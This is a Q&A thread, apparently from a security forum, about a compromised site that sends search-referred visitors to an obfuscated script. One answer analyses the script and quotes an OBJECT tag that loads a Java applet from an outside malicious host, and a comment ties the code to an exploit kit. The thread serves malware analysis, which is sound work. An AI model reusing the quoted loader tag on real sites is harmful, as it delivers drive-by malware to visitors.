2

I do not normally deal with internet security problems but this one has got me interested.

The issue is with a specific site, lets say example.com, and how it it visited.

If the address is typed directly into the browser, the website works fine.

If the address is searched in google/bing/yahoo and followed, a 302 redirect is given leading to: a gambling site, an error page, or a web page that only contains an encoded script.

My question here is, how can I identify what this script is doing?

The script captured can be found in the following paste bin. http://pastebin.com/6uV7M4nJ

Improve this question
1
  • Do you go to the same website when you try to look up any other websites, or are they different?
    – cutrightjm
    May 22, 2013 at 0:16

2 Answers 2

Reset to default
4

You can carefully replace unsafe calls and properties like eval and innerHTML and then run the script. To be safe, turn off all browser plugins. To be safer, you could do this in a virtual machine.

I've done this for your paticular file. The following happens:

  1. A Java file is loaded using <OBJECT CLASSID="clsid:5852F5ED-8BF4-11D4-A245-080C6F74284" width="1" height="1"><PARAM name="app" value="http://fjetymxvbndyz.bounceme.net/fine/beliees_rights.php?jnlp=b00725b396"/></OBJECT>

  2. This script is loaded. It's a browser plugin version detection library with a payload that checks version and loads different files depending on plugins. Here is a beautified version without the library.

Improve this answer
2
  • This code is very similar to Blackhole exploit kit's code, so it is probably a website infected with Blackhole or a similar kit.
    – Anorov
    May 22, 2013 at 0:30
  • What would you replace the eval or innerHTML to?
    – Danial Wayne
    May 22, 2013 at 16:54
0

Looks like the Javascript that you're looking at is obfuscated. This is general practice if you don't want your users to know what your script is doing. My guess is it may be looking at the referred header and if its is from any of those sites that you say, it simply redirects it. This should ideally be done on the server side, but even then it is pretty trivial to overcome and go to the correct page.

Improve this answer
1
  • Yes I agree that it is trivial to bypass, but for the bulk of people that find this site the redirect would be followed, but their antivirus would not catch it.
    – Danial Wayne
    May 23, 2013 at 16:34

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .